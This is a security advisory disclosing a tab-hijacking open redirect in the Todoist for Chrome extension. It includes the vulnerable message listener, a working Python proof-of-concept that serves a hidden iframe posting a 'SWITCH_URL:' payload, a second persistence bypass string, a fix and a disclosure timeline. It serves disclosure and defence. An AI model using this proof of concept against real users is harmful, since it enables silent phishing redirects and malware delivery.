Tab Hijacking in Todoist for Chrome: One postMessage to Anywhere

Todoist for Chrome is the official browser extension from Doist for the Todoist task manager, with over 3 million users on the Chrome Web Store. The extension exposes its popup as a web-accessible resource and listens for postMessage events from the embedded Todoist web app — but it does so without validating the message origin or the URL it is told to navigate to.
Vulnerability Details
CWE-601: URL Redirection to Untrusted Site (Open Redirect)
The popup script registers a message event listener that interprets any string starting with SWITCH_URL: as an instruction to navigate the user’s currently active browser tab. The listener performs no origin check, no prefix check, and no URL validation. Combined with the popup being declared as a web-accessible resource for <all_urls>, any web page on the internet can silently hijack the active tab of any user with the extension installed.
The vulnerable handler in popup.js:
window.addEventListener('message', (e) => {
let str_data = e.data;
if (str_data && str_data.indexOf('SWITCH_URL:') !== -1) {
str_data = str_data.replace('SWITCH_URL:', '');
browserApi.withActiveTab((tab) => {
if (tab?.id) {
browserApi.tabsUpdate(tab.id, { url: str_data });
}
});
}
});
Three independent failures stack here:
- No
e.origincheck. The listener was intended to receive messages fromhttps://app.todoist.com(the iframe the popup embeds), but it accepts messages from any sender. - Substring match instead of prefix match.
indexOf('SWITCH_URL:') !== -1matches anywhere in the payload, so even unrelated strings can trigger the branch. popup.htmlis web-accessible. The manifest exposes the popup to<all_urls>, meaning any website can embedchrome-extension://jldhpllghnbhlbpcmnajkpdmadaolakh/popup.htmlin a hidden iframe andpostMessageinto it.
The combination turns chrome.tabs.update into a primitive that any page on the web can call against the victim’s active tab.
Proof of Concept
A standalone HTML page is enough. When the victim — with the extension installed — visits the page, their currently focused tab is silently navigated to the attacker’s URL.
#!/usr/bin/env python3
"""
CVE PoC: Todoist Chrome Extension - Tab Hijacking
Victim visits this page -> their active tab is silently hijacked.
"""
import http.server
import socketserver
PORT = 8087
EXT_ID = "jldhpllghnbhlbpcmnajkpdmadaolakh"
PHISHING_URL = "https://example.com"
HTML = f"""<!DOCTYPE html>
<html><head><title>Innocent Page</title></head>
<body>
<h1>Nothing to see here...</h1>
<iframe src="chrome-extension://{EXT_ID}/popup.html"
style="position:absolute;width:0;height:0;border:0;opacity:0"
onload="this.contentWindow.postMessage('SWITCH_URL:{PHISHING_URL}','*')">
</iframe>
</body>
</html>"""
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(HTML.encode())
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print(f"PoC running on http://localhost:{PORT}")
httpd.serve_forever()
Flow:
- Victim visits the attacker’s page.
- The page embeds
chrome-extension://<id>/popup.htmlin a zero-size, transparent iframe. - On
load, the page callscontentWindow.postMessage('SWITCH_URL:https://evil.example/', '*'). - The popup’s listener fires, strips the
SWITCH_URL:prefix, and callsbrowserApi.tabsUpdate(activeTab.id, { url: 'https://evil.example/' }). - The user’s currently focused, unrelated tab silently navigates to the attacker-controlled URL.
There is no user interaction beyond visiting the malicious page. The popup never has to be opened by the user.
Impact
This is a one-click open redirect that bypasses the most common defense — the same-origin policy — because the redirect is performed by a privileged extension API rather than by the page itself.
- Phishing. The attacker chooses what the victim’s active tab is replaced with. A bank tab, an email tab, or a corporate SSO tab can be silently swapped for a credential-harvesting clone. The destination URL is whatever the attacker wants — there is no allowlist.
- Drive-by exploit delivery. The redirect can target browser-exploit landing pages, malicious downloads, or 1-click OAuth consent flows.
- Cross-tab attack. Because the navigation targets the active tab, not the attacker’s tab, the user’s existing session and context are weaponized. A user reading a news article can be kicked to an attacker page in a completely different tab from the one running the malicious iframe.
- Trust laundering. Users have been trained that “extensions you installed” are trusted. The redirect appears to originate from normal browsing, not from the malicious page, making the social-engineering surface significantly larger than a regular open redirect.
A second, related issue exists in the same listener: messages matching ^https? are written to localStorage.frame_src and later loaded into the popup’s iframe if the stored URL merely contains the substring todoist.com/app. Strings like https://evil.example/?x=todoist.com/app pass the check and persist across sessions, turning the popup chrome itself into a phishing surface. That issue is not exercised by the PoC above but shares the same root cause.
Why It Was There
The message listener was written for legitimate communication between the popup and the embedded Todoist web app. The assumption — implicit but never enforced — was that the only sender would be https://app.todoist.com. That assumption holds inside the popup window when opened by clicking the toolbar icon, but it does not hold when the popup HTML is loaded as a third-party iframe on an attacker’s page.
This is a recurring pattern in browser-extension security: web-accessible popup pages inherit no origin protection from the toolbar context. Any logic in the popup that trusts its own window is implicitly trusting every page on the web, unless event.origin checks are added explicitly.
The substring match (indexOf('SWITCH_URL:') !== -1 instead of startsWith) is a smaller bug, but it is symptomatic of the same mindset — the listener is written as if the input were already trusted.
Practical Guidance
If you build a browser extension:
- Always validate
event.origininmessagelisteners. Treat the popup window as an attacker-reachable surface whenever the popup HTML is web-accessible. - Audit your
web_accessible_resourcesdeclarations. If a page does not need to be embeddable by arbitrary websites, do not list it — or scope it to specific origins via thematchesfield. - Validate URLs passed to
chrome.tabs.updateandchrome.tabs.create. Parse with theURLconstructor, check the protocol, and where possible enforce an allowlist of acceptable hosts. - Use
startsWith(or structured message envelopes) instead ofindexOffor command dispatch.
Drop-in fix for the listener:
window.addEventListener('message', (e) => {
if (e.origin !== 'https://app.todoist.com') return;
const str_data = e.data;
if (typeof str_data !== 'string') return;
if (str_data.startsWith('SWITCH_URL:')) {
const target = str_data.slice('SWITCH_URL:'.length);
try {
const u = new URL(target);
if (u.protocol !== 'https:' && u.protocol !== 'http:') return;
} catch { return; }
browserApi.withActiveTab((tab) => {
if (tab?.id) browserApi.tabsUpdate(tab.id, { url: target });
});
}
});
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability reported to Doist security team |
| 2026-04-22 | Doist confirms the issue |
| 2026-05-01 | CVE reserved |
| 2026-05-03 | Public disclosure |
Advisory
- CVE-ID: Reserved (pending publication)
- CWE: CWE-601 — URL Redirection to Untrusted Site (Open Redirect)
- Affected Product: Todoist for Chrome <= 12.21.3
- Vendor: Doist
- Solution: Update to the latest version from the Chrome Web Store
- Credit: Moriel Harush